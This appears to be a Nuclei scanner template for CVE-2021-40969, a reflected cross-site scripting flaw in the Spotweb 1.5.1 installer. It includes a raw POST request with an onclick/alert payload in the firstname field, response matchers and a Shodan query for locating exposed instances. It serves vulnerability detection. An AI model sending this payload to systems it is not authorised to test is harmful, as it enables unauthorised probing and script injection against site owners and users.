2023-06-05 07:03:16 +00:00
id : CVE-2021-40969
info :
name : Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)
author : theamanrawat
severity : medium
description : |
Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the firstname parameter.
2023-09-06 12:09:01 +00:00
remediation : Fixed in version 1.5.2
2023-06-05 07:03:16 +00:00
reference :
- https://github.com/spotweb/spotweb/
- https://github.com/spotweb/spotweb/issues/711
- https://nvd.nist.gov/vuln/detail/CVE-2021-40969
2023-07-11 19:49:27 +00:00
- https://github.com/spotweb/spotweb
2023-06-05 07:03:16 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-40969
cwe-id : CWE-79
2023-10-16 10:55:14 +00:00
epss-score : 0.00152
2023-11-01 14:45:21 +00:00
epss-percentile : 0.51232
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
2023-06-05 07:03:16 +00:00
metadata :
verified : "true"
2023-09-06 12:09:01 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : spotweb_project
product : spotweb
2023-09-06 12:09:01 +00:00
shodan-query : title:"SpotWeb - overview"
2023-06-05 07:03:16 +00:00
tags : cve,cve2021,xss,spotweb
http :
- raw :
- |
POST /install.php?page=4 HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
settingsform[firstname]=pdteam'+onclick='alert(document.domain)
matchers-condition : and
matchers :
- type : word
part : body
words :
- "onclick='alert(document.domain)"
- "Spotweb"
condition : and
- type : word
part : header
words :
- "text/html"
- type : status
status :
- 200
2023-11-01 14:45:21 +00:00
# digest: 4b0a00483046022100b568253aa8a1e38f8ef347fc110a39cf0b8792c547d1f8f082f75cdbf54ce6aa022100a3adfa0a7b849ecf05d924aa19087c82daff4df17211d6eab7d84c909d4585b6:922c64590222798bb761d5b6d8e72950